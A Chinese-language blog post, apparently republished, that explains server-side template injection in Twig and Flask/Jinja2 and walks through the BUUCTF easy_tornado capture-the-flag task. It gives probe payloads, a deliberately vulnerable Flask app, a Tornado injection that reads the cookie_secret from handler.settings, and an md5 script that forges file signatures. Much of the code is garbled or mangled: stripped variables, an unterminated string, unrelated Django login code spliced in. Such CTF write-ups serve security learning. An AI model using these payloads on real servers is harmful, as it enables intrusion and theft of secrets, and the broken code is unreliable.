python模板注入_BUUCTF/护网杯 easy_tornado 模板注入
首先簡(jiǎn)單認(rèn)識(shí)一下模板注入
模板注入涉及的是服務(wù)端Web應(yīng)用使用模板引擎渲染用戶請(qǐng)求的過(guò)程,這里我們使用 PHP 模版引擎 Twig 作為例子來(lái)說(shuō)明模板注入產(chǎn)生的原理。考慮下面這段代碼:
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php'; Twig_Autoloader::register(true); $twig= new Twig_Environment(new Twig_Loader_String()); $output= $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 將用戶輸入作為模版變量的值 echo $output;
?>
使用 Twig 模版引擎渲染頁(yè)面,其中模版含有 {{name}} 變量,其模版變量值來(lái)自于 GET 請(qǐng)求參數(shù) $_GET["name"] 。顯然這段代碼并沒(méi)有什么問(wèn)題,即使你想通過(guò) name 參數(shù)傳遞一段 JavaScript 代碼給服務(wù)端進(jìn)行渲染,也許你會(huì)認(rèn)為這里可以進(jìn)行 XSS,但是由于模版引擎一般都默認(rèn)對(duì)渲染的變量值進(jìn)行編碼和轉(zhuǎn)義,所以并不會(huì)造成跨站腳本攻擊:
但是,如果渲染的模版內(nèi)容受到用戶的控制,情況就不一樣了。修改代碼為:
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php'; Twig_Autoloader::register(true); $twig= new Twig_Environment(new Twig_Loader_String()); $output= $twig->render("Hello {$_GET['name']}"); // 將用戶輸入作為模版內(nèi)容的一部分 echo $output;
上面這段代碼在構(gòu)建模版時(shí),拼接了用戶輸入作為模板的內(nèi)容,現(xiàn)在如果再向服務(wù)端直接傳遞 JavaScript 代碼,用戶輸入會(huì)原樣輸出,測(cè)試結(jié)果顯而易見(jiàn):
對(duì)比上面兩種情況,簡(jiǎn)單的說(shuō)服務(wù)端模板注入的形成終究還是因?yàn)榉?wù)端相信了用戶的輸出而造成的(Web安全真諦:永遠(yuǎn)不要相信用戶的輸入!)。
模板注入檢測(cè)
上面已經(jīng)講明了模板注入的形成原來(lái),現(xiàn)在就來(lái)談?wù)剬?duì)其進(jìn)行檢測(cè)和掃描的方法。如果服務(wù)端將用戶的輸入作為了模板的一部分,那么在頁(yè)面渲染時(shí)也必定會(huì)將用戶輸入的內(nèi)容進(jìn)行模版編譯和解析最后輸出。
借用本文第二部分所用到的代碼:
require_once dirname(FILE).'/../lib/Twig/Autoloader.php'; Twig_Autoloader::register(true);
output=
_GET['name']}"); // 將用戶輸入作為模版內(nèi)容的一部分 echo $output;
在 Twig 模板引擎里,{{ var }} 除了可以輸出傳遞的變量以外,還能執(zhí)行一些基本的表達(dá)式然后將其結(jié)果作為該模板變量的值,例如這里用戶輸入 name={{2*10}} ,則在服務(wù)端拼接的模版內(nèi)容為:
Hello {{2*10}}Twig 模板引擎在編譯模板的過(guò)程中會(huì)計(jì)算 {{210}} 中的表達(dá)式 210 ,會(huì)將其返回值 20 作為模板變量的值輸出,如下圖:
現(xiàn)在把測(cè)試的數(shù)據(jù)改變一下,插入一些正常字符和 Twig 模板引擎默認(rèn)的注釋符,構(gòu)造 Payload 為:
IsVuln{# comment #}{{2*8}}OK實(shí)際服務(wù)端要進(jìn)行編譯的模板就被構(gòu)造為:
Hello IsVuln{# comment #}{{2*8}}OK這里簡(jiǎn)單分析一下,由于 {# comment #} 作為 Twig 模板引擎的默認(rèn)注釋形式,所以在前端輸出的時(shí)候并不會(huì)顯示,而 {{2*8}} 作為模板變量最終會(huì)返回 16 作為其值進(jìn)行顯示,因此前端最終會(huì)返回內(nèi)容 Hello IsVuln16OK ,如下圖:
重點(diǎn)來(lái)了,不同引擎有不同的測(cè)試以及注入方式!
模板注入
flask/jinja2模板注入
Flask是一個(gè)使用 Python 編寫(xiě)的輕量級(jí) Web 應(yīng)用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎則使用 Jinja2
Flask框架中提供的模版引擎可能會(huì)被一些無(wú)量開(kāi)發(fā)者利用引入一個(gè)服務(wù)端模版注入漏洞,如果對(duì)此感到有些困惑可以看看James Kettle在黑帽大會(huì)中分享的議題(PDF),簡(jiǎn)而言之這個(gè)漏洞允許將語(yǔ)言/語(yǔ)法注入到模板中。在服務(wù)器的context中執(zhí)行這個(gè)輸入重現(xiàn),根據(jù)應(yīng)用的context可能導(dǎo)致任意遠(yuǎn)程代碼執(zhí)行(遠(yuǎn)端控制設(shè)備)
PHP/模版引擎Twig注入
可以參考本博客文章 Flask從零到無(wú) 。
這里給出一個(gè)漏洞環(huán)境代碼,本地測(cè)試
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
Oops! That page doesn't exist.
%s
''' %(request.url)
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
代碼簡(jiǎn)析: 我們自己簡(jiǎn)單寫(xiě)一個(gè)string類(lèi)型的 html,html返回當(dāng)前url,我們放入到渲染函數(shù)render_template_string進(jìn)行渲染,然后頁(yè)面會(huì)打印出當(dāng)前url,如果url里含有{{}} 那么便可以進(jìn)行模板注入。
測(cè)試結(jié)果如下:
image
而如果我們使用render_template函數(shù),
@app.route('/',methods=['GET', 'POST'])
@app.route('/index',methods=['GET', 'POST'])#我們?cè)L問(wèn)/或者/index都會(huì)跳轉(zhuǎn)
def index():
return render_template("index.html",title='Home',user=request.args.get("key"))
index.html
{{title}} - 小豬佩奇Hello, {{user}}!
那么將不會(huì)有模板注入,因?yàn)閞ender_template已經(jīng)傳入一個(gè)固定好了的模板,沒(méi)法再去修改,在渲染之后傳入數(shù)據(jù),只有當(dāng)?shù)谝环N代碼,我們模板可控的時(shí)候,先傳入后渲染,這樣才會(huì)導(dǎo)致ssti模板注入。
CTF 題目
這個(gè)tornado是一個(gè)python的模板,在web使用的時(shí)候給出了四個(gè)文件,可以訪問(wèn),從提示中和url中可以看出,訪問(wèn)需要文件名+文件簽名(長(zhǎng)度為32位,計(jì)算方式為md5(cookie_secret + md5(filename))); flag文件名題目已給出 /fllllllllllag
題目關(guān)鍵為如何獲取cookie,在Bp抓包的情況下沒(méi)有顯示cookie,由于是python的一個(gè)模板,首先想到的就是模板注入{{}},最終找到的位置是報(bào)錯(cuò)網(wǎng)頁(yè)(隨便訪問(wèn)一個(gè)文件是更改它的簽名就可以進(jìn)入),里面的參數(shù)msg
該處將原有參數(shù)替換可以執(zhí)行模板注入msg={{XXXXX}},需要注意,這里過(guò)濾了大多數(shù)奇怪的字符,并且跟以往的題目不同的是,這里不需要python的基類(lèi)再尋找子函數(shù),而是直接獲取環(huán)境的變量。
該思想來(lái)源于題目的提示render,render是python中的一個(gè)渲染函數(shù),也就是一種模板,通過(guò)調(diào)用的參數(shù)不同,生成不同的網(wǎng)頁(yè),簡(jiǎn)單的理解例子如下:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from tornado.web import UIModule
from tornado import escape
class custom(UIModule):
def render(self, *args, **kwargs):
return escape.xhtml_escape('
wupeiqi
')#return escape.xhtml_escape('
wupeiqi
')#!/usr/bin/env python
# -*- coding:utf-8 -*-
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.render('index.html')
class LoginHandler(BaseHandler):
def get(self):
'''
當(dāng)用戶訪登錄的時(shí)候我們就得給他寫(xiě)cookie了,但是這里沒(méi)有寫(xiě)在哪里寫(xiě)了呢?
在哪里呢?之前寫(xiě)的Handler都是繼承的RequestHandler,這次繼承的是BaseHandler是自己寫(xiě)的Handler
繼承自己的類(lèi),在類(lèi)了加擴(kuò)展initialize! 在這里我們可以在這里做獲取用戶cookie或者寫(xiě)cookie都可以在這里做
'''
'''
我們知道LoginHandler對(duì)象就是self,我們可不可以self.set_cookie()可不可以self.get_cookie()
'''
# self.set_cookie()
# self.get_cookie()
self.render('login.html', **{'status': ''})
def login(request):
#獲取用戶輸入
login_form = AccountForm.LoginForm(request.POST)
if request.method == 'POST':
#判斷用戶輸入是否合法
if login_form.is_valid():#如果用戶輸入是合法的
username = request.POST.get('username')
password = request.POST.get('password')
if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password:
request.session['auth_user'] = username
return redirect('/index/')
else:
return render(request,'account/login.html',{'model': login_form,'backend_autherror':'用戶名或密碼錯(cuò)誤'})
else:
error_msg = login_form.errors.as_data()
return render(request,'account/login.html',{'model': login_form,'errors':error_msg})
# 如果登錄成功,寫(xiě)入session,跳轉(zhuǎn)index
return render(request, 'account/login.html', {'model': login_form})
我們大概可以看出來(lái),render是一個(gè)類(lèi)似模板的東西,可以使用不同的參數(shù)來(lái)訪問(wèn)網(wǎng)頁(yè)。那么我們?cè)谶M(jìn)行該題目的操作時(shí),其實(shí)參數(shù)也是傳遞過(guò)來(lái)的,那么是什么參數(shù)呢。
在tornado模板中,存在一些可以訪問(wèn)的快速對(duì)象,例如
{{ escape(handler.settings["cookie"]) }}
這兩個(gè){{}}和這個(gè)字典對(duì)象也許大家就看出來(lái)了,沒(méi)錯(cuò)就是這個(gè)handler.settings對(duì)象,又黑翼天使23的博客園日志可知,
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
大概就是說(shuō),這里面就是我們一下環(huán)境變量,我們正是從這里獲取的cookie_secret
而后使用在線的或者python的計(jì)算一下就可以
import hashlib
def md5value(s):
md5 = hashlib.md5()
md5.update(s.encode())
return md5.hexdigest()
def mdfive2():
filename = '/fllllllllllllag'
cookie = r"M)Z.>}{O]lYIp(oW7$dc132uDaK
#print(md5value(filename))
# print(md5value('*c].)Y!x%+WgjHbvfM@[U'))
# print(''+md5value(filename))
print(md5value(cookie + md5value(filename)))#hints md5(cookie_secret+md5(filename))
mdfive2()
image.png
總結(jié)
以上是生活随笔為你收集整理的python模板注入_BUUCTF/护网杯 easy_tornado 模板注入的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 致远OA漏洞学习——A6版本test.j
- 下一篇: websocket python爬虫_p